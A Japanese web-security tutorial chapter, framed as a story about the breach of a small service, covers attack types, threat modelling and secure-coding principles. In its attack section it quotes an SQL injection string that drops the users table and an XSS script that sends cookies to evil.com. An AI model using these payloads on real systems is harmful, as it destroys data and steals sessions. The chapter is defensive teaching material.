侵入者の影

<!-- Shadow was here. Your walls are made of paper. -->

なぜセキュリティが重要なのか

ShimaLinkが攻撃された。それは「いつか起きるかもしれない」ことではなく、「すでに起きた」現実だ。

Yuki: 「セキュリティは保険みたいなもの。何も起きてないときは面倒に感じるけど、事故が起きたら『なぜもっと早くやらなかったのか』と後悔する。」

セキュリティの3本柱: CIA

セキュリティの基本はCIAと呼ばれる3つの要素で構成されます。

今回のShadowの攻撃は、機密性を破壊した。ユーザーのメールアドレスが盗まれたのだ。

「自分は大丈夫」という幻想

小さなWebサービスだから狙われない？それは間違いです。

攻撃者の視点:
- 大企業 → セキュリティが強固。突破に時間がかかる
- 小規模サービス → セキュリティが甘い。簡単に侵入できる
                   しかもセキュリティ意識が低いので発見が遅い

自動化された攻撃ツールは、インターネット上のすべてのWebサイトを無差別にスキャンします。ShimaLinkのような小規模サービスも例外ではありません。

セキュリティ事故の影響

セキュリティ事故が起きると、技術的な問題だけでは済みません。

あなた: 「Mikaさんのカフェのお客さんは、ShimaLinkを信頼して個人情報を預けてくれた。その信頼を裏切ったら…」

開発者の責任

コードを書くということは、ユーザーのデータを預かるということです。

// これは単なるコードではない
const user = {
  name: "田中太郎",
  email: "tanaka@example.com",
  phone: "090-1234-5678"
};

// このデータには「人の生活」が詰まっている
// 守る責任は、開発者にある

ポイント

• セキュリティは「後から付け足す機能」ではなく、最初から組み込むべき思想
• CIA（機密性・完全性・可用性）がセキュリティの基本
• 小規模サービスこそ攻撃のターゲットになりやすい
• セキュリティ事故の影響は技術面だけでなく、ビジネスや法律にも及ぶ

よくある攻撃の種類

Shadowがどんな武器を使ったのか理解するために、Webアプリケーションに対する代表的な攻撃手法を学ぼう。

Yuki: 「敵の手口を知らなければ、防御もできない。まずは攻撃のカタログを見てみよう。」

攻撃の分類

Webアプリケーションへの攻撃は、大きく分けて以下のカテゴリに分類されます。

インジェクション攻撃

アプリケーションに「悪意のあるコード」を注入する攻撃です。

正常な入力: "田中太郎"
攻撃者の入力: "田中太郎'; DROP TABLE users; --"

アプリがこの入力をそのままSQLに組み込むと、データベースが破壊されます。これがSQLインジェクションです。Chapter 13で詳しく学びます。

クロスサイトスクリプティング（XSS）

ユーザーのブラウザで悪意のあるスクリプトを実行させる攻撃です。

正常なコメント: "このカフェ最高！"
攻撃者のコメント: "<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>"

他のユーザーがこのコメントを表示すると、クッキー（セッション情報）が盗まれます。Chapter 12で詳しく学びます。

ブルートフォース攻撃

パスワードを片っ端から試す攻撃です。

試行1: password123   → 失敗
試行2: admin          → 失敗
試行3: shimalink2024  → 失敗
...
試行10000: user0815  → 成功！

対策: ログイン試行回数の制限、強力なパスワードポリシー、多要素認証。

DDoS攻撃

大量のアクセスを送りつけて、サービスをダウンさせる攻撃です。

通常: 100リクエスト/分 → サーバー正常
DDoS: 1,000,000リクエスト/分 → サーバーダウン

Yuki: 「お店に100人のお客さんが来るのは歓迎だけど、100万人が同時に押し寄せたら、ドアすら開けられないでしょ？」

Shadowが使った攻撃

今回のShimaLink侵害では、以下の攻撃が確認されました。

1. XSS（クロスサイトスクリプティング）
   → コメント欄にスクリプトを埋め込み
   → 管理者のセッションクッキーを奪取

2. SQLインジェクション
   → 検索機能を悪用
   → データベースからユーザー情報を直接取得

3. 組み合わせ攻撃
   → XSSで得た管理者権限 + SQLiでデータ抽出
   → 短時間で最大の被害を実現

ポイント

• 攻撃には多くの種類があるが、基本的な原理は共通している
• インジェクション系とクロスサイト系が最も一般的
• 攻撃者は複数の手法を組み合わせることが多い
• 次のチャプターからXSSとSQLインジェクションを深く掘り下げる

脅威モデリング — 攻撃者の目で考える

守るためには、まず「何を、誰から、どうやって守るか」を整理する必要がある。これが脅威モデリングだ。

Yuki: 「家の防犯を考えるとき、まず泥棒がどこから入ってくるか考えるでしょ？Webアプリも同じだよ。」

脅威モデリングとは

脅威モデリングは、システムの弱点と攻撃経路を事前に特定するプロセスです。

STRIDEモデル

Microsoftが提唱した代表的な脅威分類フレームワークです。

ShimaLinkの脅威マップ

実際にShimaLinkを脅威モデリングしてみよう。

[ユーザー] ---(入力)--> [フロントエンド] ---(API)--> [バックエンド] ---(クエリ)--> [データベース]
    |                       |                           |                           |
    |                       |                           |                           |
  攻撃ポイント1          攻撃ポイント2              攻撃ポイント3              攻撃ポイント4
  ・ブラウザ操作          ・XSS                    ・認証バイパス              ・SQLインジェクション
  ・セッション奪取        ・CSRF                   ・権限昇格                 ・データ漏洩

攻撃面（Attack Surface）を特定する

攻撃面とは、攻撃者がシステムに侵入できる可能性のあるすべての接点です。

ShimaLinkの攻撃面を洗い出してみます。

Yuki: 「すべての入口がセキュリティの対象。“ユーザーの入力は信用しない”——これがセキュリティの第一原則だよ。」

リスクの優先順位づけ

すべてを同時に修正することはできません。リスクの影響度と発生確率で優先順位をつけます。

            影響度 高
               |
    [緊急対応]  |  [最優先修正]
    DDoS対策    |  SQLi修正, XSS修正
               |
  ─────────────┼─────────────── 発生確率
               |                    高
    [後回し]    |  [計画的に対応]
    物理侵入    |  CSRF対策
               |
            影響度 低

ShimaLinkでは、SQLインジェクションとXSSが最優先修正に位置する。実際に悪用されたからだ。

実践: 脅威リストを作る

ShimaLinkの脅威リストを作ってみよう。

## ShimaLink 脅威リスト v1.0

### 最優先（実際に悪用された）
- [ ] XSS: コメント欄への悪意あるスクリプト注入
- [ ] SQLi: 検索機能を通じたデータベース操作

### 高優先（悪用される可能性が高い）
- [ ] 認証: ブルートフォース攻撃への対策
- [ ] CSRF: 状態変更リクエストのトークン検証
- [ ] セッション: セッション固定攻撃への対策

### 中優先（計画的に対応）
- [ ] ファイルアップロードの検証強化
- [ ] APIレート制限の実装
- [ ] エラーメッセージからの情報漏洩防止

ポイント

• 脅威モデリングは「攻撃者の視点で考える」こと
• STRIDEモデルで脅威を分類できる
• 攻撃面（Attack Surface）を特定し、優先順位をつける
• 「ユーザーの入力は信用しない」がセキュリティの第一原則

セキュリティ・マインドセット — 考え方を変える

セキュリティは技術だけの問題ではない。考え方を変える必要がある。

Yuki: 「プログラマーは”どうやって動かすか”を考える。セキュリティエンジニアは”どうやって壊すか”を考える。両方できるようになろう。」

「防御者のジレンマ」

攻撃者と防御者の立場は根本的に非対称です。

だからこそ、**「最初からセキュリティを組み込む」**アプローチが重要になります。後から穴を塞ぐより、最初から穴を作らない方がはるかに効率的です。

セキュリティの基本原則

1. 最小権限の原則（Principle of Least Privilege）

必要最小限の権限だけを与える。

// 悪い例: すべてのユーザーに管理者権限
const user = { role: "admin" }; // 全員admin!?

// 良い例: 役割に応じた最小限の権限
const user = { role: "viewer" }; // 閲覧のみ
// 管理操作が必要な場合のみ、一時的に権限を付与

2. 多層防御（Defense in Depth）

1つの防御に頼らず、複数の層で守る。

[攻撃] → [ファイアウォール] → [WAF] → [入力検証] → [認証] → [認可] → [暗号化] → [データ]
         第1層              第2層    第3層       第4層    第5層    第6層

Yuki: 「お城を思い浮かべて。堀、城壁、門、見張り塔…。1つが突破されても、次の防御線がある。」

3. フェイルセキュア（Fail Secure）

エラーが起きたとき、安全な側に倒す。

// 悪い例: エラー時にアクセスを許可
function checkPermission(user) {
  try {
    return verifyToken(user.token);
  } catch (error) {
    return true; // エラー → アクセス許可!? 危険！
  }
}

// 良い例: エラー時にアクセスを拒否
function checkPermission(user) {
  try {
    return verifyToken(user.token);
  } catch (error) {
    console.error("認証エラー:", error);
    return false; // エラー → アクセス拒否（安全側）
  }
}

4. ユーザー入力を信用しない

すべての外部入力は潜在的に危険です。

// クライアントから来るデータは「すべて」検証する
app.post('/api/comment', (req, res) => {
  const comment = req.body.comment;

  // 長さチェック
  if (comment.length > 1000) return res.status(400).send('長すぎます');

  // 危険な文字のエスケープ（詳しくはChapter 12で）
  const safe = escapeHtml(comment);

  // 保存
  saveComment(safe);
});

セキュリティを「文化」にする

セキュリティは1人の担当者の仕事ではなく、チーム全体の文化です。

チームのセキュリティ文化:

1. コードレビューにセキュリティ観点を含める
2. 依存ライブラリを定期的にアップデートする
3. セキュリティインシデントを隠さず共有する
4. 「おかしい」と思ったらすぐ報告する
5. 定期的にセキュリティ研修を行う

あなた: 「ビジネス側の俺にもできることがあるんだな。」

Yuki: 「むしろあなたの役割は大きいよ。パスワードの使い回しをやめる、怪しいメールを開かない、権限管理をちゃんとする——セキュリティの基本はチーム全員の意識だから。」

Shadowからのメッセージ

ログの奥底に、もう一つメッセージが見つかった。

// Your authentication was decent. But you forgot everything else.
// Security is not a feature. It's a foundation.
// - Shadow

Yuki: 「…皮肉なことに、Shadowの言ってることは正しい。認証だけでは不十分だった。セキュリティは基盤であるべきなんだ。」

ポイント

• 防御者は攻撃者より不利な立場。だから「最初から組み込む」
• 最小権限、多層防御、フェイルセキュア、入力不信が基本原則
• セキュリティは技術だけでなく、チーム全体の文化
• 次章からXSS、SQLインジェクションの具体的な防御を学ぶ

[侵害レポート]
- 漏洩したデータ: ユーザーメールアドレス 142件
- 攻撃経路: XSSによるセッション奪取 + SQLインジェクション
- 侵害期間: 約3時間
- 攻撃者の署名: "Shadow"